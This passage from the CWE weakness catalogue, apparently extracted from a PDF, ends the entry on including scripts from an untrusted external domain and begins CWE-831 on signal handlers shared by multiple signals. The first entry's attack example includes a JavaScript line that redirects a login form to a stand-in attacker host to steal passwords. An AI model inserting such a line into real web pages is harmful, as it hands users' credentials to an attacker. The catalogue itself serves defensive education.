1749
<div id="WeatherWidget">
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>
This webpage is now only as secure as the external domain it is including functionality from. If an
attacker compromised the external domain and could add malicious scripts to the weatherwidget.js
file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).
For example, user login information could easily be stolen with a single line added to
weatherwidget.js:
Example Language: JavaScript (Attack)
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
This line of javascript changes the login form's original action target from the original website to an
attack site. As a result, if a user attempts to login their username and password will be sent directly
to the attack site.
MemberOf Relationships
This MemberOf relationships table shows additional CWE Catgeories and Views that reference this
weakness as a member. This information is often useful in understanding where a weakness fits
within the context of external information sources.
Nature Type ID Name Page
MemberOf 1354 OWASP Top Ten 2021 Category A08:2021 - Software
and Data Integrity Failures
1344 2495
MemberOf 1416 Comprehensive Categorization: Resource Lifecycle
Management
1400 2545
References
[REF-778]Jeremiah Grossman. "Third-Party Web Widget Security FAQ". < https://
blog.jeremiahgrossman.com/2010/07/third-party-web-widget-security-faq.html >.2023-04-07.
CWE-831: Signal Handler Function Associated with Multiple Signals
Weakness ID : 831
Structure : Simple
Abstraction : Variant
Description
The product defines a function that is used as a handler for more than one signal.
Extended Description
While sometimes intentional and safe, when the same function is used to handle multiple signals,
a race condition could occur if the function uses any state outside of its local declaration, such as
global variables or non-reentrant functions, or has any side effects.
An attacker could send one signal that invokes the handler function; in many OSes, this will
typically prevent the same signal from invoking the handler again, at least until the handler
function has completed execution. However, the attacker could then send a different signal that
is associated with the same handler function. This could interrupt the original handler function
while it is still executing. If there is shared state, then the state could be corrupted. This can lead
to a variety of potential consequences depending on context, including denial of service and code
execution.
CWE Version 4.14
CWE-831: Signal Handler Function Associated with Multiple Signals
CWE-831: Signal Handler Function Associated with Multiple Signals